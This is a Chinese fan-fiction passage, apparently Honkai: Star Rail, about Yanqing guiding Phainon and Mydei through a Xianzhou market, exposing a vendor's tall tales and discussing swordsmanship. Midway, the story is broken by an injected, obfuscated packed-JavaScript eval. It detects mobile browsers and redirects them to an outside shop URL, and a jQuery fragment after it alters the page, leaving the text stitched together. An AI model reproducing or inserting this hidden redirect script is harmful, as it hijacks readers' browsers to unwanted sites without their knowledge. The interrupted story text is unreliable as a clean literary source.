彦卿年少却沉稳,他只是静默地跟在万敌和白厄身边,偶尔见他们对什么好奇,便稍微介绍两句。
“两位随意便好,无需拘束,”他说,“将军称二位为贵客,彦卿自当以礼相待,将军还说,若是两位玩得不尽兴,可要拿我是问。”
这是句友善的玩笑话,白厄也知道,于是他们笑笑没做声。万敌看向附近的比武场,而白厄在清玩斋门外拿起了一个花瓶。
“这地方也有地摊?”他纳罕。
“贵客好眼力,”一旁的老板说,他滔滔不绝,口若悬河,将那东西吹得天上有地上无,“此物可不是凡物,昔年仙舟丰饶孽物作祟,帝弓司命箭裂长空,那一箭如流星破空,惊得是四座叫好……”
“你们的帝弓司命动手之前还有人在旁边围观?”白厄感到相当不可思议,“仙舟人体质真好。”
“咳……这倒不是……”
“一派胡言。”彦卿说,他认真地看向白厄,“阁下,别听他胡说。”
“没关系,我还挺感兴趣,”白厄摇摇头,他指了指手中的花瓶,“那请问这帝弓司命的一箭,和这花瓶有什么关系?”
“客人当真好眼力,”摊贩滔滔不绝,“这花瓶是难得的古物,帝弓司命一箭破空后,您猜怎的,那星辰落世,竟化作难得的稀世材料,又经工匠悉心打造,千锤百炼,才有了这个……咳,花瓶。”
“真是好大的来头,”白厄诚恳道,“可这落款是怎么回事?”
“什么落款?”彦卿好奇道。
“星历8107年1月。”白厄无辜一指,“按时间来看,好像是上周的。”
彦卿:“……”
万敌:“……”
“这……咳,这您可是有所不知,”短暂的尴尬后,这老板竟能面不改色地说下去,“帝弓司命的光矢横贯古今,是先有这花瓶的果,才有帝弓司命那一箭的因……”
“你是说帝弓司命射了一箭就为了个花瓶?”白厄瞪大了眼睛。
“他真的很努力。”万敌赞叹道。
现在三人都知道这位老板的底细,可他在这三人的注视下竟还能侃侃而谈信口胡诌,白厄不得不感慨仙舟真是人才辈出,只有彦卿看上去越来越生气。
“试问阁下,这是你的摊位吗?”彦卿的眼睛一眨不眨地盯着他,“据我所知,这里的老板名为泊阳,和您的人物比对信息似乎不甚相符。”
“这……这个嘛,”那老板爽朗笑道,“我这人长得人山人海,时常过不了各种人脸核查。”
“桑博!”
远远的,有含着怒气的声音响起,那摊贩见大事不妙,竟就地一滚,消失了个彻彻底底。
“你……”
彦卿还没来得及说什么,就被这摊贩灵活的身法惊了一惊,他下意识地想要去追,又想起这人实际没犯什么错,只得停在原地。
“这是您的摊位?”看着匆匆赶来的泊阳,他语气不善。
“是……是啊,出什么事了吗?”泊阳一无所知地挠了挠头,“那人叫桑博,起先说只要在我门外支个摊,就能帮我把这些东西卖个好价钱,我问他图什么,他说什么都不图,平生最爱讲故事,刚刚我在那边喝茶,远远地瞧见您在这里,怕他和您说些什么,便匆匆过来了。”
“那这个花瓶……”白厄试探着问。
“这个啊,”泊阳随口说,“刚到货的工艺品,价值三百信用点,两个五百,包星际邮费。”
跟刚刚帝弓司命的排场真是大相径庭,这可怜的花瓶也不知道自己在前几分钟短暂地曾和帝弓司命沾亲带故,现如今竟沦为了三百一个五百两个的普通工艺品,实在令人慨叹。
彦卿的脸有点红。
“阁下,这并非仙舟常态……”
“嗯,我知道。”白厄笑着说,“我只是觉得很有趣,我还挺喜欢鉴宝的……不过翁法罗斯的鉴宝经验,似乎不能带到仙舟来。我还应该多加学习。”
“原来贵客来自翁法罗斯……”彦卿好奇,“听说那是颗新出现的星体,之前那星体上原本没有生命,可某天过后,那里居然一夜之间不仅产生了生命,还产生了文明……
这少年思索着垂眸,“简直像是从什么地方复制粘贴的文明一样。”
“你去过翁法罗斯吗?”万敌突然问道。
“还没有,”彦卿说,“虽说我确实有点好奇,可星系路途确实不算太近,云骑骁卫无特殊情况不得擅离职守……但我倒是听说过不少关于那里的传言,真真假假,也未可知,若有时间,我会亲自一去。
“你若是哪天真的来翁法罗斯,可以来找我。”万敌说,“我可以带你到处转转。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119711|195956||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“彦卿却之不恭。”彦卿认真地点了点头,并未客套,他相当爽快地应下了这邀约,可当他一回头,看见白厄已经转移了目标——他正对着幅仙舟古画研究。
“好笔法,”白厄啧啧称奇,他甚至随手拿起了一旁的放大镜,“这画似乎很……寂寥?”
“天与云与山与水,上下一白。”那摊贩介绍,“《落雪图》,仿制工艺品。客人要是喜欢,不妨带一幅回去——也不贵。”
“这竟是仿制品吗?”白厄问道,“我还以为这东西是古玩。”
“不古不古,”泊阳笑道,“也就一千五百年,三代人而已。”
白厄:“……”
和刚刚那位上周花瓶真是两个极端,他沉默地把“不古不古”拿到了手里。
“阁下,我仍有一事好奇。”
几人又闲逛了半天,白厄和万敌手上拿着满满的东西——万敌对这里的兵器兴趣很大,而白厄实在受不住古玩宝藏的诱惑,虽说大多数他都买不起,可小工艺品他买了一堆。而满载而归后,跟在他们身后的彦卿思考了许久,还是问出了个问题。
“什么?”白厄好奇——他其实早就看出彦卿有点问题想问他,但对方没说,他又不好随意开口,这时彦卿一问,他倒松了口气——一直憋着多不好,他想。
“我自幼习剑,学的是飞剑,飞剑之术,轻而快,薄而利,与阁下的大剑截然不同,”彦卿说,“阁下若不介意,可否让我仔细观看一下你的剑?”
剑士的剑通常并不离身,但白厄和万敌经过和彦卿的大半天相处,对这直白的孩子也有了不少好感,于是他爽快地解下了剑,递给了彦卿。
彦卿双手接过,认真地看了半晌,末了,他似乎下定了很大决心。
“阁下,以后若有机会,我想与你在剑术上一较高下,”他认真地说,“如此重剑,和我的攻击方法想必截然不同,若是能与阁下切磋比试,彦卿想必会受益匪浅。”
“我的剑不敢对人。”闻言,白厄确是笑着摇了摇头。
他没说谎,除非生死相搏,他现在实在不敢以剑对人,黄金裔汩汩的鲜血与悲痛的哀嚎,都将随着剑锋出鞘一并回响在他耳边,听得此言,彦卿却微怔,而后郑重地将白厄大剑交还。
“阁下力量超群却能审慎而行,实为正道。”彦卿说。